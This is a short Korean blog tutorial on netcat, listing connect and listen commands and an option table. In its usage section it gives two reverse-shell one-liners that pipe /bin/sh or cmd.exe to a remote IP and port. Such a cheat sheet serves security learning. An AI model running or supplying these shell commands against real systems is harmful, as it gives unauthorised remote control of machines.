외로운 Nova의 작업실

Network Connection(nc) 본문

Server Penetesting/Hacking Tool

Network Connection(nc)

Nova_ 2023. 3. 29. 21:49

- nc

nc는 바인드 쉘과 리버스 쉘을 할때 많이 사용되는 프로그램입니다. 보통 리눅스에서는 기본으로 설치되어있지만 윈도우는 따로 설치해주셔야합니다. 아래 링크로 들어가서 설치할 수 있습니다.

https://eternallybored.org/misc/netcat/

 

- nc 사용법

nc 192.168.200.1 7979				:192.168.200.1에 7979포트에 접속합니다.
nc -l -p 7979						:7979포트에 listen합니다.
nc -e /bin/sh 192.168.220.1 7979 	: 192.168.220.1 ip에 7979포트로 쉘프로그램을 연결합니다.
nc64 192.132.123.123 -e cmd.exe 7979 : 192.132.123.123 ip에 7979포트로 쉘프로그램을 연결합니다.

 

- nc 옵션

-l : 수신 모드 - 지정된 포트에서 들어오는 연결을 수신하는 데 사용됩니다.
-p : 연결에 사용할 포트를 지정합니다.
-s : 연결에 사용할 소스 주소를 지정합니다.
-v : 자세한 정보 표시 모드 - 연결 프로세스 중에 더 자세한 출력을 제공합니다.
-z : 지정된 호스트에서 열린 포트를 검색합니다.
-u : 접속시 TCP대신 UDP를 사용한다.
-e : 명령을 실행하고 입력/출력을 네트워크 연결로 리디렉션합니다.
-k : 클라이언트가 연결을 끊은 후에도 연결을 유지합니다.
-ssl : 연결에 SSL 암호화를 사용합니다.
-c : 연결이 설정된 후 원격 호스트에서 실행할 명령을 지정합니다.
-g : 연결에 사용할 게이트웨이를 지정합니다.
-x : 연결에 프록시 서버를 사용합니다.
Comments